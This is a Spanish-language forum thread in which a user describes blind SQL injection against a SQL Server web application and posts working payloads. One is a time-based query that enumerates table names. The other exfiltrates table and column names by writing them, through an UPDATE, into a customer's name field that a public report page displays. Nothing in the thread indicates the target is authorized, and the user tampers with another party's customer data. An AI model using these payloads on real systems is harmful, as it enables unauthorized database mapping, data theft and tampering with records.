Dudas en Blind SQL injection

Iniciado por onirico, 16 Agosto 2018, 04:43 AM

0 Miembros y 1 Visitante están viendo este tema.

onirico

Hola soy nuevo en el foro. He estado haciendo pruebas de blind sql injection a un servidor sql server. Las consultas de ese servidor a la base de datos son con procedimientos almacenados del tipo:
"EXEC proced @var = '$phpvar'".
La base de datos no esta conectada al internet.
He estado probando con ataques basados en tiempo y hasta ahora ha salido bien, pero es muy lento y quisiera saber si hay otra forma de hacer que no sea con tiempo. Un ejemplo del mapeo que he estado haciendo es:

'; declare @s varchar(8000) SELECT @s = TABLE_NAME FROM
( SELECT TABLE_NAME, ROW_NUMBER() OVER (ORDER BY TABLE_NAME asc) as row
  FROM INFORMATION_SCHEMA.TABLES ) as alias
   WHERE row = 3 if (ascii(substring(@s, 1, 1)) > 1)  waitfor delay '0:0:5' --

Por otro lado, cuando la consulta tiene un error de sintaxis, la pagina se muestra con errores (pero no aparece ningun error del sql). He probado insertarle una consulta como
'; THROW 51000, 'The record does not exist.', 1;
Pero no causa ningun error. Creo que se podría causar algún error a la consulta (algo así como bloquear temporalmente la conexion) para que me mande a la pagina de error y no tenga que trabajar sólo con el tiempo, ya que es demasiado lento

onirico

Gracias por sus respuestas (:ironic). He resuelto el problema de otra forma. Usé el blind sql injection time based para conseguir unas cuantas tablas de la base de datos y luego he buscado un reporte en la página web donde mostraban el nombre del cliente ingresando su código. Con eso, he usado el código del cliente para modificar su nombre y ponerle el resultado de la consulta que quiero. Así he podido mapear su base de datos (tablas, procedimientos almacenados). La consulta que he usado es la siguiente (están cambiadas las tablas, los códigos y el nombre):

'; declare @r varchar(8000) SELECT @r = TABLE_NAME FROM
( SELECT TABLE_NAME, ROW_NUMBER() OVER (ORDER BY TABLE_NAME asc) as row
  FROM INFORMATION_SCHEMA.TABLES ) as alias
       WHERE row = 1
       declare @c varchar(8000) SELECT @c = concat(COLUMN_NAME, ' ',
       ORDINAL_POSITION) FROM
(SELECT COLUMN_NAME, ORDINAL_POSITION, ROW_NUMBER() OVER (ORDER BY COLUMN_NAME asc) as row
  FROM INFORMATION_SCHEMA.COLUMNS where TABLE_NAME = @r ) as alias
       WHERE row = 1 UPDATE DataBase.tbCliente
SET cliente = concat(@c, 'CLIENTE1')
WHERE codigo = '01';  --